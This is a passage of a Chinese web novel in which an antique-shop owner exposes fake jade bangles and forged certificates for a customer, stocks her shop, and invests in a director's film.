萧妧妧抖了抖，“你和柳如烟学坏了，以后少说霸总语录。”说完她又重重点头，“满意的不得了，你这一包装了小几十亿呢，我做梦中彩票都没敢想过这个数。” 别说中彩票，小几十亿已经能赶上彩票奖池，再算上其他资产，萧妧妧身价超百亿是迟早的事。 萧妧妧一抹嘴，谄媚地笑：“甜甜姐姐，您什么时候再去劫富济贫？我给您望风。” 孟甜甜似笑非笑斜睨她：“歇歇吧，整个别墅区50多套房产翻了个底朝天，我总共就找到这么点。” 萧妧妧对了对手指，不好意思地说：“别墅区没有，拍卖行展览馆博物馆珠宝展……” 孟甜甜吸一口气：“你这是狮子大开口啊。” 萧妧妧嘿嘿笑。 孟甜甜琢磨片刻，发现不是完全不可行。 她爽快回应：“行，我帮你想办法。提前说好，这些地方乱了一阵子，我这时候赶去算晚的，不一定能捡到什么好东西。 还有，外面在降温，我得找到安全的老巢才能考虑这事。” 萧妧妧筷子一丢，挤到孟甜甜身边为她敲背捶肩。 “甜甜姐姐您人真好，您就是我的金大腿，我是您的小挂件。” 金大腿受不了小挂件嗲声嗲气的说话，屁股一抬躲去旁边，继续喝她的馄饨。 “对了，结界门口还有一箱金子，太重了，拖不动，进来以后丢在那里没管，你快去看看。” 萧妧妧哪还顾得上吃早饭，三两口灌下一杯豆浆，擦擦手，一阵风似的跑远。 直到找到孟甜甜所说的黑色十六寸手提箱，她满心欢喜地提起肩带感受一下重量，差点闪了腰。 萧妧妧扶着腰哎呦一声，再不敢莽撞乱来。 拉链拉开，大小金条铺满半边，最小的有10g，大的达到1000g，还有些100g、500g的夹在其中，杂乱无章的堆放，全靠防水隔层兜住才没滑落出来。 金戒指金项链金手镯则在另外半边，有网兜托住，萧妧妧伸手一扒拉，再抬起手，手指串起三四枚戒指，挂住一坨打结的金项链。 望着满目金灿灿黄金，萧妧妧一边龇牙傻乐，一边揉腰。 人无横财不富，这话一点不假。 萧妧妧双手合十，诚恳祈祷，祈祷多来几个末世位面的客人光顾。 “妧妧，有客人卖翡翠，你来看看。” 听到孟甜甜声音，萧妧妧睁开眼睛，来不及仔细计算黄金数量，一股脑丢进空间，快步离开店面。 脚尖迈出门，萧妧妧停顿一瞬，神情疑惑。 啥玩意，卖翡翠？ 【作者有话说】 感谢读者“浮生若梦”,灌溉营养液 +10 170-180 171 第171章 ◎忙碌的日常◎ 买翡翠的不少,卖翡翠的倒是头一回见。 萧妧妧转念一想，便不觉得奇怪。 一般来说，部分售卖翡翠的实体店顺带会回收散客的成品翡翠。 但有前提条件，中低档不收,来源不明的不收,仅收高档翡翠。 这里的高档指的是大几十万以上,必须携带权威机构检测证书。 少数大商行要求更高,收顶尖货，比如百万千万级别,品质越好越欢迎。 萧妧妧精神一振，快步出门。 才走到院中,抬眸看到一个打扮青春靓丽的年轻女孩，大约二十来岁。 “老板,您店里回收翡翠吗？” 萧妧妧请她进店说话，“收的,不过要先看看货。” 年轻女孩一听,松了一口气,忙不迭翻包。 萧妧妧也没闲着,专业工具一一摆出来,打算好好看看。 直到一声闷响，一只胖圆条大圈口半山水手镯搁在绒布托盘里，萧妧妧拿手电的动作稍顿，又把工具搁了回去。 “抱歉,您这件不符合要求，我们店收不了。” 年轻女孩愣住,她才刚掏出来,什么都没说呢,怎么就不收了？ “你刚刚还说要收的，这只镯子买来的时候花了80万，肯定是好东西。”女孩话音着急，希望萧妧妧再多看一眼。 萧妧妧闻言挑眉，问道：“手镯在哪买的？” 女孩不明所以，老实回答：“前男友送的，分手了他不肯要，说是拿回去没用，让我折成现金还给他。” “对了，还有一只。两只都有证书，也有收据。” 女孩继续翻包找另一只，打开盒子，手镯搁在托盘里，文件袋装着收据和检测鉴定证书一起递过来。 萧妧妧好奇看一眼证书，无语的笑了。 “这两只，都不能收。”她推回文件袋。 女孩着急：“为什么？它们有什么不好吗？” 萧妧妧试探着问：“您前男友说过，他是在哪买的吗？” 女孩想了想，摇摇头。 萧妧妧又问：“第二只他说多少钱买的？” 女孩看一眼收据：“60万，是冰飘花，说是什么玻璃种，我查过资料，很贵的。” 萧妧妧见她到现在还稀里糊涂的，叹气。 “小姐您先冷静一下，这两只手镯……”萧妧妧瞅着她神态，怕她受不住打击，委婉说道：“唔……并没有那么贵。” 女孩懵了，声音颤抖：“什么叫没有那么贵？我有收据啊，你看，一共140万呢，真的很贵。” 萧妧妧听她语气越发急促，神情慌张，不禁生出恻隐之心。 她措辞片刻，语气和缓解释：“先说这只六十万的冰飘花吧，其实它不是翡翠，是非洲翠。当然，这只的种水确实不错……” 女孩像抓住了希望，急忙插话：“非洲翠？那也是翡翠吧？” 萧妧妧对上她希翼的目光，话音停顿一会，示意她冷静。 “非洲翠虽然带有一个翠字，乍一看和冰飘花很像，但其实，它们从本质来说不是一种东西。” 随着她话音落下，女孩脸色煞白。 “非洲翠产量极高，所以价格低廉，看起来和冰飘花相似，很多不良商家会用非洲翠冒充翡翠售卖，实际上它们的价格相差非常大。 如果只追求好看，或者起到装饰作用，买非洲翠是个不错的选择。” 萧妧妧觑着她的脸色，继续说道：“您手上这只非洲翠水头确实不错，在非洲翠当中算比较好的，市面上能卖到3、4000左右。 换成差不多品质的翡翠的话，六十万买不到，至少要过百万。 很多人会把非洲翠当成是翡翠的平替，不过非洲翠不具备保值增值性，稀缺性也比不上翡翠，所以升值空间不大，买回去玩玩可以，不值得收藏。” 女孩一听到价格，直接红了眼眶，嘴唇颤抖。 “可是、可是我有证书，上面写的A货翡翠。”她仍旧不死心的证明着。 萧妧妧深吸气，不得不告诉她另一个坏消息：“您的检测鉴定证书……都是假的。” 女孩彻底呆住，说不出话。 萧妧妧贴心地拿来一包抽纸，递过去。 “它真的不是翡翠？” 萧妧妧拿起那只“冰飘花”，又拿出店里正在售卖的冰飘花放在一起对比。 “您看，两只冰飘花放在一起，非洲翠是不是更有塑料感？” 女孩抹了抹模糊的眼眶，凑近去看，果然，真假放在一起对比，一下子看出不同。 “您店里这只，多少钱？” 萧妧妧：“这只便宜，120万。” 女孩神情微僵，攥住那只非洲翠，眼泪啪嗒啪嗒地掉。 萧妧妧收起冰飘花，又指了指另一只半山水阳绿手镯。 “这只呢，确实是翡翠，但是……”萧妧妧停顿片刻，“它是危料。” 听完前半句来不及松一口气，后一句直接刺激得女孩心脏骤停。 “这件危料卖不出80万的价，应该是拿危料冒充缅料卖。 相同种水颜色的话，如果是缅料，80万算便宜的价格。 而它是危料，80万除以10还差不多。” 女孩算了一笔账，这只声称80万买入的缅料冰阳绿，实际是8万的危料？ “你的意思是，它最多值8万？可是它看起来这么绿，里面也没有裂痕，怎么成危料了呢？” 萧妧妧纠正：“到不了8万，差得远呢。半山水上面的阳绿有染色痕迹，也就是俗称的B+C。” “至于危料，不是说危险、坏的意思，缅料也会有裂痕，这很正常。 危是指产地，危地马拉产地翡翠，叫做危料。 和缅料比，危料的整体价格低很多。” “您看，这只危料在灯光下的表现，是不是迎着光的地方发黑？再看光泽，有点蜡感。” 说着，萧妧妧从漆器首饰盒里拿出一只冰阳绿的半山水做参照物。 “看这只，迎光的地方颜色明亮，没有发黑发暗，这就是缅料和危料的区别之一，非常容易辨认。 再看它的光泽，是不是有金属感？这就是俗称的起刚了。 为什么说它染色呢，您看危料这只，颜色浮于表面，是从外部浸染的效果。 手电强光打下去，天然翡翠能看到条状色带，这只阳绿颜色融洽，肉眼看不太明显，咱们看飘花的。” 为了让女孩接受事实，萧妧妧换回冰飘花举例：“看，顶端是不是有一个颜色最深的点？ 这个就是色根，从色根开始颜色向外发散，行程不规则的条状带妆等，整体颜色呈现渐变的趋势。 这种色根在翡翠内部，是颜色自然分布，染色达不到这种效果。 再看危料左边这一块，强光下面比较明显，有酸洗过的网纹，而且它的颜色衔接处转变突兀，没有渐变的过程，一眼能认定为染色。” 萧妧妧看多了顶尖好货，普通品质一眼能分辨出来，这种造假都不用细看就能确认。 女孩一拿出手镯，她就知道自己捡漏顶尖好货的机会没了。 年轻女孩跟着萧妧妧仔细对比一番，又上网查了资料佐证后，绝望闭眼。 什么60万80万，全是假的，两年感情也是假的。 萧妧妧看她哭得喘不上气，忍不住关心：“你前男友说，让你折成钱还给他？” 女孩泣不成声，闻言过了好一会才点头。 萧妧妧啧啧两声，渣男没少见，这么贱的是第一次见。 她看了看女孩身上印满logo的大牌包包，犹豫一会，问：“你的包……也是前男友送的吧？” 女孩瞬间停住哭泣，摸了摸包。 她仰头看到萧妧妧欲言又止的神色，很快意会，带着哭腔哽咽说：“包也是假的吗？” 萧妧妧迟疑两秒，尴尬点头。 巧了，这一款老花包包，孟甜甜才给她零元购了一批。见过真的以后再去看假的，差距非常明显。 这只包在假货里恐怕都处于鄙视链底端。 女孩摸着包，看着手里的所谓翡翠，已经哭不出来了，直接气笑。 私人买卖不懂行，她担心自己被骗，网络交易又有极高风险，想来想去，线下实体店找翡翠商回收最靠谱。 她做过攻略，看网上说不破斋的翡翠品质高，价格也适中，引起不少网友抢购，店里几乎卖断货。 她料想手里的两只手镯不差，或许能以一个公道的价格转手。 到店里才知道，真相能有多离谱。 萧妧妧干脆把一整包抽纸都送给她，同情地拍拍她肩膀。 “比起哭，你现在最要紧的是报警。” 送假货就不提了，送出去又以真货价格要回来，这不是诈骗吗？ 几千块钱的东西张口要140万，真敢开价。 要不是时机不对，萧妧妧真想打听打听，她回了什么价位的礼，可别傻乎乎的照着140万上限买，那真是亏大了。 女孩抹掉眼泪，采纳萧妧妧的建议，当场报警。 伤心过后，她现在一肚子怒气，匆匆收起东西往派出所赶。 孟甜甜只瞧见女孩哭哭啼啼的离开，没明白什么情况，询问眼神投向萧妧妧。 萧妧妧把刚才的事情一股脑告诉了她。 孟甜甜啧啧出声：“那她比我运气差多了，我遇到的那个人渣至少肯花真钱，花完也没说让还钱。” 分赃耽误了一会，吃瓜又耽误了一会，见时间不早，萧妧妧加快速度，煮上养生茶，收拾完店铺和院子，挂上营业中的立牌。 9点过半的时候，刘秘书主动联系她，没什么重要事，打招呼问好，顺便汇报一下，潮玩投资的项目照旧由他负责跟进。 萧妧妧本打算这次找陈律师介绍专业律师团队来着，总不能一直麻烦黎行聿的人。 刘秘书主动提起，她反倒舍不得拒绝。 太香了，完全用不着她费心，事后发个大红包即可，安心又安全。 萧妧妧只纠结了两秒，发去一个红包犒劳犒劳他，又感谢了黎行聿一番。 没有黎行聿发话，刘秘书才不会搭理她呢，萧妧妧很明白自己该感谢的人是谁。 杂事忙完，萧妧妧丢开手机，专注为古董铺上新做准备。 苏娇娇上回送来的青花瓷鉴定完毕，藏品评级证书也有了，刚好摆上多宝架正式售卖。 鎏金铜镇数量多，市场行情一般*，卖不上高价，系统估价过后她稍稍提高了1、2000左右，摆在窗台前的展示柜充数量。 柳如烟那里取来的珐琅花瓶珐琅茶具等，到底没能变成古董，系统检测不出历史文化价值，但其艺术价值是不可否认的。 毕竟是宫廷出品，九族严选，匠人的技艺简直登峰造极，无论色彩、图案还是设计，放在现代完全当得起大师手作的工艺品。 小器型的如花插、茶杯、盘，估价给出6-8万元的价格。 大器型的花瓶罐子、茶具组合、金胎珐琅等，从材质和大小来说都要更胜一筹，价格也胜了许多筹。 比如那套缺了盖子和一只茶杯的茶具组合，系统大方给出20万估价，有裂纹的大肚珐琅瓶估价达到了50万。 系统不承认它是古董，却对它们的艺术价值给出极高肯定，小几十万的工艺品可不多见。 萧妧妧制作好标价牌，把它们摆在高端艺术品区域。 瓶瓶罐罐太多，她光是找到有合适空间的置物架就用了不少时间。 小件的鼻烟壶、铜香炉、鎏金匣子、青白玉雕件等，不晓得是工艺原因还是她运气好，系统判定它们为古董，价格在25-69万之间。 适当提价后，萧妧妧没急着摆上架，而是先拍视频照片留存，再打包起来送去鉴定评级。 一想到这么多东西送出去，运费和鉴定费评级费能花去她大几万块，萧妧妧不禁后悔把话说太满。 幸亏她做的是无本买卖，利润足够高，不然这几万块的成本搁在普通店铺，足以拖垮生意。 普通古玩店可没有买古董出评级证书这一说，全靠买家眼力，盈亏看个人运道。 添了三十多件器物，有古董有艺术品，等上一批送去评级的古董送回来摆上去，店铺就又能变回满当当的状态。 原先摆的两张金丝楠木圈椅和一张梅花形楠木香几被孟有树买走，这一片区域空出来后一直没安排。 萧妧妧不打算再卖家具，一是担心拿出太多老式名贵木料家具冲击行情，二是担心孟有树哪天过来看见了心里不舒服，影响客人对店铺印象。 第三点最关键，她打算放一张2.5米长的红木斗柜，台面摆放玻璃罩盒，里面展示几件翡翠和彩宝。 斗柜抽屉多，刚好可以分类摆放资料，免得她每次狼狈地钻柜子里翻找。 简单规划一下，萧妧妧从空间里扒拉一通，凭记忆在龙傲天送来的东西里找到了她需要的斗柜。 斗柜保养的不错，没有异味，擦去灰尘便能投入使用。 萧妧妧先是挑出几件1000万左右的翡翠珠链，间隔摆放小型翡翠玉石的雕件，直到台面没有空余位置。 文件资料全部抱出来，根据不同品类分别塞进斗柜的抽屉，新上的货干脆一起整理，打印好流传记录和票据，整合好后塞进去。 柜台下面原先存放资料的空间空了出来，萧妧妧正好留着放礼盒。 古董铺明面上被古董占满，客人看不见的隐蔽地方，塞满了大小礼品盒。 萧妧妧起初以为生意不会太好，又嫌弃礼品盒不好叠放，占位置，一开始没准备太多，后来是见礼品盒差点不够用，紧急批发了一堆。 尤其装翡翠首饰的小盒子，堆了四五个柜子。 花了半天时间，不破斋又是那个琳琅满目的古董铺，各处的陈列摆设全按照她心意和使用习惯调整一遍。 萧妧妧满意极了，看一眼空旷的首饰展示柜，笑意淡去，认命的继续忙碌。 不是忙别的，给昨晚系统估过价的翡翠首饰拍视频存档，然后打包好它们，送去机构鉴定，鉴定完毕才能安排出售。 萧妧妧之前不觉得这一道流程有多必要，一直抱着可鉴定可不鉴定的态度。 毕竟数量太多了，每一件送去鉴定浪费时间不说，鉴定费也很贵。 是以，萧妧妧此前只安排一批估价较高的器物送去鉴定，几千几万的普通货色排不上号，她也没那个时间。 玉哥一事改变了她的主意，要不是平安扣是最早一批到手的货，谨慎起见送去鉴定，留存足够多的证据，不晓得事情会变成什么走向。 多了一道鉴定的流程，也导致她的工作量翻倍，好在利润够高，忙一点不算难以忍受。 萧妧妧刚打包完成，等着后面有空再送走，院门咚咚咚响。 孟甜甜去开的门，以为是买翡翠的客人，结果迎来了一个大箱子。 萧妧妧定睛一看，眼皮一翻，软倒在沙发椅上。 救救她吧，怎么还没完没了呢。 172 第172章 ◎赚钱本就辛苦◎ 8月在忙碌中结束,9月也在忙碌中开始。 9月1号，一个平平无奇的工作日，萧妧妧异常的繁忙。 一大早分赃结束，瞎忙了许久,店铺勉强收拾妥当,眼看着可以歇歇,屁股没能沾上坐垫,又来活了。 上回送去机构鉴定的翡翠镯子、挂件、耳坠等，杂七杂八共四十多件饰品,鉴定完毕，赶在上午凉快的时候送回来。 物流的小哥等在门口,不确认签收不能离开，萧妧妧不得不麻溜爬起。 孟甜甜举手机录视频,萧妧妧开箱检查，物流小哥叉腰等待。 翡翠首饰包裹严实,做了细致的防震防撞处理,再加上四十多本颇有份量的鉴定证书,光是拆箱就得忙上一阵子。 萧妧妧折腾好半天,四周弄得一片狼藉,为了加快速度，她干脆偷了个懒，全部交给系统判断。 反正这些都没来得及估价，也算一举两得,价格异常的那肯定是做了手脚的，一目了然。 略等了3、4分钟左右,估价结束,一张张图片弹送出来,占满视线中心位置。 萧妧妧只看价位，手镯在百万千万属于正常，低于百万的重点关注。几对耳坠与挂件价格稍低些，多在80万上下。 仔细对照之前录制的视频，检查一遍证书，没出现什么掉包的情况，萧妧妧爽快签字支付尾款。 “妧妧，我回去补觉了，你要是忙不过来先放着，等我睡醒帮你。” 孟甜甜撬了一晚上保险箱，累得胳膊酸软，加上刚吃完早饭，有点晕碳，又硬撑着帮她打扫卫生，这会快睁不开眼了。 萧妧妧摆摆手，催她赶紧回房间休息，她一个人没问题。 拆箱的垃圾装袋丢去189号墙角，小院恢复干净整洁模样，她拍拍屁股回店里继续为上新货忙碌。 按照顺序制作价牌，再对应饰品一一放进托盘里，塞入展示柜，调整灯光。 到这里不算完，交易票据打印出来夹在证书里，拍一张大合照，留作视频素材，晚一点发布出去，最后把那一摞证书锁进抽屉里。 这一通忙完，店铺又变得珠光宝气，尤其这一次上新许多鎏金、珐琅、珠宝，看起来亮眼极了。 萧妧妧满意地欣赏一会，挑剔还有哪里需要改善，肚子突然咕咕叫。 一看时间，已经过了午饭的点。 孟甜甜睡得昏天暗地，肯定是不吃的，其他人看不到影子，萧妧妧一个人懒得折腾，从冷藏柜挑出一份便当加热，一顿午饭就糊弄过去了。 萧妧妧想，这会总该能休息了吧？ 她刚陷进沙发里，翘起脚，舒服地喟叹出声…… “萧小姐，新协议拟好了，你看看还缺什么。” 萧妧妧笑容微僵，扭头看向院门口。 季随人如其名，随性的很，拎着文件夹就找来了，说话间迈步进院。 萧妧妧无声叹息，放下脚，起身，请他进屋详谈。 协议总体而言变化不大，另添了几条细则，按照她的提议，明晰了投资款项使用范围。 附带的衍生开发协议才是重点，萧妧妧仔细检查，她提的要求基本反应在条例里，系统没检测出风险项，除了数值，全是业内套用的模板，中规中矩。 整份投资协议，包括古董租借、损坏赔偿、衍生开发等，系统给出“安全”的评价，只在租借清单打了个问号，提醒她及时补充信息。 目前还不能定下借哪些古董，不到开机布景的那天，随时可能变更，这一点不是问题，可以忽略。 萧妧妧装模作样思索了一会，动作麻利地签名，只等走完盖章流程，协议正式生效。 至于5000万的投资款项，规定了打款期限与账户，并不急迫，按理说盖完章有了法律效力后转账完全来得及，也可以避免不必要的风险。 萧妧妧打定主意要投季随电影，顺带想着第一次有个愉快的合作经历，后续还会有第二次、第三次合作。 是以，没等协议送去盖章，萧妧妧当着季随的面，像发5毛钱红包一样爽快转去5000万。 季随看的一愣一愣，收到公司财务询问才回过神。 “谢谢萧小姐信任，希望我们合作顺利。” 萧妧妧笑眯眯伸出手回握：“一定会顺利的。” 想起什么，萧妧妧一拍脑门，道：“对了，我这还有个紫檀木春带彩的屏风，4米长的大家伙，要不要一起看看？或许你电影里用得上。” 说好白天发照片过去请他考虑考虑的，一下子忙忘了，要不是季随找来，萧妧妧不见得什么时候记起这事。 季随一听，没急着走，跟随萧妧妧脚步去了前面小卖部。 剧情虽然用不着屏风，但是不妨碍做为布景出现，为电影画面增添质感、精益求精的事，一贯对自己作品有着严格标准的季随，根本无法开口拒绝。 进了小卖部，看清4米长大屏风后，即便严格挑剔如季随，也说不出一点不好。 紫檀木的雕花精致繁复，嵌于其中的春带彩板料更胜一筹。 “萧小姐从哪弄来这么漂亮的屏风？”季随几乎挪不开眼。 “运气好，一个有钱人朋友收了一件更好的屏风，这件才落到我手里了。”萧妧妧淡笑。 季随有被惊艳到，争取她同意后，举起相机咔咔拍了几张。 萧妧妧心底雀跃，却强忍着，未免见过大世面的古董铺老板人设崩塌。 “哪天来店铺置景提前说一声，我好发歇业公告，”萧妧妧变着花样推销：“对了，我库房里还有许多古董没拿出来，到时候你们可以进去随便挑，尽管拿去当道具。还有一件事，要是需要什么奢侈品珠宝、宝石，也可以跟我说，说不定能找来你们需要的。” 季随恍惚了一瞬，有种被资本大佬青睐的既视感。 萧妧妧不好意思地笑笑：“不过豪车就没办法了，我自己都在骑小电驴呢。” 顿了顿，她迟疑开口：“如果你想借小电驴，我的史努比也不是不可以。” 季随默了默，视线跃出窗框，落在树荫下隐蔽一角的镭射紫，把手上挂了同色大狗耳朵的安全头盔，踏板上晒了一双雨靴。 季随礼貌微笑，委婉拒绝：“那倒不必。” 萧妧妧以为他说的是奢侈品，以为他不相信，假意在抽屉里翻找，实则在空间里挑选。 “百达翡丽、卡地亚、爱马仕、格拉芙……” 她报一个品牌名，拿出一件顶奢珍品，手表、项链、皮包……应有尽有。 卖出去换钱有点麻烦，不如“废物”利用。 “如果你觉得这些设计不够古典，喏，我这里有头冠，金的、螺钿的、点翠的。 还有仿古的宝石头面，你看那个珊瑚首饰，多适配你的剧本啊。” 顶奢珠宝虽珍奇，却不符合电影基调，季随诧异打量片刻，便收敛思绪。 萧妧妧紧跟着取出来的几件复古风浓郁的珠钗项链，反而令他惊艳。 “这些……比道具组制作的精良许多。”季随定睛细看，由衷赞叹。 萧妧妧骄傲仰头：“那可不，所有材料真金真银真宝石，工艺精湛不说，设计繁复华丽，质感和道具肯定不一样。” 季随捡起一件又一件，翡翠发簪、金镶宝石扁方、珍珠步摇、檀木发钗，每一件都如萧妧妧所言，穷工极巧，充满古朴韵味，是道具组仿不出的独特风味。 “萧小姐能提供多少件类似的首饰？” 萧妧妧还真没计算过，前期东西不多，她有空闲登记列清单。 最近接连收的东西越来越多，尤其一股脑送来，她根本忙不过来。 比如申明月那几大箱，光是眼睛看就得看半天，别说拍照登记了。 萧妧妧实在顾不上，估摸了一下数量，不算翡翠首饰的话，金银珠宝等首饰保守预估起码500多件。 这些没有历史文化价值，只有艺术价值与材质本身价值，是以她关注不多，高高兴兴欣赏完就塞去空间吃灰了。 “具体数量不好说，反正不少，百来件总有的。 哪天你带造型师来店里挑，用得上就带走。 反正都借了古董，也不差这些，用多少你们自己看着办。” 萧妧妧大手一挥，大气的很，瞧着有包揽电影剧组绝大部分首饰、古董的姿态。 季随怔愣片刻，轻笑出声，语气格外诚恳：“谢谢萧小姐对我们剧组的支持。” 萧妧妧：“客气了，我还等着季导票房大爆赚分红呢。” 送走季随，萧妧妧长舒一口气。 这一天天的，忙得不像样，关键是钱也花得厉害。 两天时间先后花出去8000万，余额锐减。 虽说是投资，以后总能赚回来，但这一刻存款减少的焦虑还是免不了袭上心头。 看了店铺一角等待送去检测鉴定的古董和翡翠首饰，萧妧妧不想着休息了，再次忙活起来。 忙着从柳如烟送来的“中低档”翡翠首饰里挑出30件，搭配申明月那批翡翠里的20件高档货，估价、拍视频、备注信息、打包，最后装箱。 萧妧妧蹲在地上忙得不知天地为何物，工具堆得乱七八糟。 孟甜甜游魂似的打着哈欠出来，看到生无可恋的一张脸吓一跳。 她抬头看了看擦黑的天色，不敢相信萧妧妧忙到现在。 “没办法，赚钱本就辛苦。”萧妧妧坚强微笑：“没关系，我还可以继续。” 孟甜甜嘴角抽搐，怀疑她在炫耀。 别家古董店一年不开张，开张吃三年，萧妧妧的古董店不一样，天天开张，一天抵得上人家三十年。 说出去都没人信，不破斋的翡翠不提前预定保留，来的路上就有可能被人抢先买走。 孟甜甜偶尔会充当客服在评论区回答网友咨询，这才知道有许多网友纠结选什么花色，只慢了一天，再问就卖完了。 有运气不好的网友问一件没一件，急的恨不得给预付款订货。 孟甜甜回想自己在银行吭哧吭哧当社畜的日子，认定萧妧妧在炫耀，脚步一转离开。 爱丽丝这时蹦蹦跳跳进来，带来一筐新鲜采摘的果子和野菜。 孟甜甜见状揽住爱丽丝带她进厨房，开启今日份的生存技能教学。 萧妧妧见没人应声，抬头环顾，院里空无一人，孟甜甜的出现好像幻觉一般。 她挠挠头，为打包工作收尾，制作清单。 两箱送玉石检测机构，一箱送文物鉴定评级机构，三大箱子叠在一起比萧妧妧还高出一个头。 萧妧妧捏着下巴思索，或许，她现在可以考虑买四轮车了，小电驴可载不下这么多东西。 【作者有话说】 没办法，码字本就辛苦，如果能有营养液（明示），那就很幸福了[捂脸偷看] 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“妖妖”,灌溉营养液 +10 感谢读者“一个人。”,灌溉营养液 +5 感谢读者“依萧烟雨”,灌溉营养液 +20 173 第173章 ◎这也不爽啊◎ 等吃饭的工夫,萧妧妧蹲在厨房门口，嗅着饭菜香气挑选起心仪的车子。 看得上眼的几百万不等，看不上的倒是便宜。 没选出个头绪，孟甜甜端着三人的晚饭出来,爱丽丝抱着本子补充笔记。 萧妧妧伸出脑袋一瞄,凉拌野菜、鸡蛋炒野菜、清炒野菜,心死了。 午饭敷衍应付过去,她这会想吃点好的满足口腹之欲，丢下一句话,跑去巷子口的熟食店买来烤鸡烤鸭和热卤。 忙了一天，萧妧妧也想犒劳犒劳自己,回来的路上顺道去隔壁咖啡店买了几块小蛋糕。 想到爱丽丝的小跟班不少，于是把店里剩下的甜品全部买下,拎着满满两大兜的食物回去。 有萧妧妧临时加菜，那几盘野菜聚会无人问津。 孟甜甜舍不得浪费,自己一口野菜一口肉吃了大半,剩下的清炒野菜回锅二次加工,兑了一大碗水加点盐做成蔬菜汤。 正好肉吃多了嘴里腻,变成菜汤后野菜反而受欢迎,一人一碗，三人分食的一干二净。 爱丽丝满足地抱着小肚子，舔舔嘴唇回味，孟甜甜找来食盒,为她装好甜点带回去。 萧妧妧则包揽了饭后清洗工作，碗筷丢去洗碗机,打扫完厨房,悠哉悠哉溜达回树荫下,大字型瘫倒。 果然还是躺着舒服。 萧妧妧晃动脚丫子，十分欠打的关心道：“爱丽丝，你的算数学到哪了？要不要再给你买本二年级的教材？” 9月1日开学日，做为小卖部的顶梁柱老板，萧妧妧觉得自己有必要关心一下几个未成年的学习进度。 别人家孩子有的，她的客人们也不能少。 爱丽丝如遭雷击，手里的小蛋糕不香了，抱起篮子噔噔噔溜走，“再见”两个字是看不见人影后才迟缓飘过来。 孟甜甜愣了一会，忍不住耸肩笑，手里那块没来得及塞进去的曲奇饼干只能自己吃了。 果然，不管是哪个世界，小孩子都不太爱数学。 萧妧妧慢一步追上去，把准备好的刀具套组一起丢过去，防止爱丽丝跑太快没听见，她特意喊了几嗓子。 爱丽丝磨磨蹭蹭从破木门后探出头，先看一眼砸在地上的皮套包裹，再去偷瞄小卖部大门。 确保萧妧妧没有抓她回去上课的意思，咻一下折回屋子里，扛起工具包溜走。 刀具套组是补偿爱丽丝的，匕首送回来拍电影，不知道什么时候用完，爱丽丝这段时间没有趁手工具，总归不方便。 萧妧妧精挑细选出一套进口刀具，单一把菜刀价值上万的那种，又配了一把砍刀和镰刀，适用各种农活，希望爱丽丝能习惯吧。 天色黑透，萧妧妧在院里院外溜达一圈，确保没有遗漏事项，总算可以安心躺下。 忙过头的结果就是脑子发蒙，往常她会听些玉石古董的名师直播课，现在只想看土味短剧。 “村姑觉醒黄金瞳，垃圾场挖出绝世珍宝……” “绑定系统后，古玩店主求我别买了。” “你惹她干嘛，她能和古董对话。” “绑定弹幕，我靠捡漏成为首富。” “系统在手，幸福生活从鉴宝开始” 划划划，划到指尖发烫，萧妧妧无趣撇嘴，退出APP。 这也不爽啊。 刚放下平板，小卖部正门传来几声吆喝，随后来电铃声响起。 萧妧妧麻木起身，麻木接通电话，麻木地找来拖车推去门口运货。 收件人写的申明月，是她的那批货到了。 150箱玻璃制品，每箱24件，一共3600件，大类别有杯子盘子碗三种，每种分为常规造型和独特设计款，各个款型又分成各种颜色。 买的时候有多爽，现在搬货的她就有多狼狈，尤其搬运过程需要格外小心，防止碎裂。 箱子运到店铺深处，孟甜甜帮忙拆箱检查确认数量，萧妧妧对照清单清点完毕签收付尾款。 挑出一两箱拆开做为展示样品摆上货架，其他全部转移进空间，等着申明月来收货。 忙起来不知不觉，两人回过神发现时间已经走到9点，街巷游客数量锐减。 萧妧妧索性收了广告牌，打扫一下门口卫生，准备关门休息。 隔壁刘叔好久没在铺子里看见萧妧妧，难得逮着人，探出半边身子和她闲聊。 “妧妧，你怎么又盘了个店面啊，生意撑得住吗？” 萧妧妧敷衍笑笑：“还行，勉强撑得住。” 刘叔：“上回见隔壁那个奶茶店拆了，我以为租给别人了呢，没想到是你买下了。189不便宜吧？你说多不巧，早知道你要买院子，我领你来我们家看看了。” “刘叔，您要搬出去住啊？”萧妧妧故作关心的询问，避而不答其他问题。 刘叔笑眯眯：“我家孩子不是有编制了嘛，就差结婚了，我们打算卖院子换一套楼房，到时候相亲说出去也好听。” “要我说还得是有铁饭碗稳当，我家孩子公积金刚好能覆盖贷款，到时候买个大平层，住着多舒坦啊。” “可惜没女朋友，愁人啊。” 萧妧妧没搭话，也用不着搭话，刘叔一炫耀孩子就停不下来，她继续低头扫地。 “不说他了，你那个古董铺生意怎么样？我前天听人说，高鹭去你店里买东西了，真的假的？” 萧妧妧：“您听谁说的？” 刘叔支吾：“有游客找不到你的店，到我这里问路，顺带提了一嘴呗。” 萧妧妧避重就轻：“谢谢你啊刘叔，你人真热心，回头请你喝奶茶。” 说着，萧妧妧拿出抹布和清洁剂，撕掉景区活动公告，打扫店铺外立面的玻璃门窗。 刘叔见状绕出柜台，凑到门口。 “对了，妧妧你谈对象了吗？要不叔给你介绍……” 萧妧妧生怕他后面说什么惊悚话，赶紧打住：“追我的好几个呢，谈不过来，慢慢挑，不着急。” 刘叔忽然哑了声，好半晌才接话：“是要好好挑，本地的外地的？要我说还是本地的好，不用远嫁，最好还是住得近的，知根知底……” 萧妧妧头皮发麻，抹布丢进水桶，忙道：“叔，您先忙着，我今天忙一天，累得腰酸背痛，晚上还要进货，先去休息了。” 不给刘叔继续说话的机会，萧妧妧提起水桶，飞快倒腾两腿，呲溜一下没了影。 刘叔愣住，看小卖部两道大门陆续锁上，暂停营业的牌子亮起，忍不住咂嘴。 “这丫头真毛躁，话没说完呢……” 萧妧妧逃回小卖部，锁门、关灯、关空调，仅在结界附近留下两盏灯，和孟甜甜说一声后，下班，回家。 9月2号是云昭昭开学的日子，她答应过要去送她上学。 早早回到家，家里果然忙翻天。 云昭昭一个劲劝，不停从箱子里扒拉东西往外面拿，萧大明和张芸正相反，一个劲拿东西往行李箱塞。 “塞得下，肯定塞得下，这种被单夏天睡舒服，等天气冷了你再回来换。” “衣服多带几身，都是洗干净烘干过的，拿出来就能穿。” “那兜你别管，明天你叔给你拎过去。到了宿舍自己收好个人物品，别跟人混着用，不卫生。” “和舍友好好处，以后要住很久呢，要是人家不好相处，咱也不怕，回家住，月牙巷去A大方便呢，地铁坐到底顶多一小时。” “还有还有，你叔买了一堆零食，你别不舍得吃，拿出去给舍友分分。” 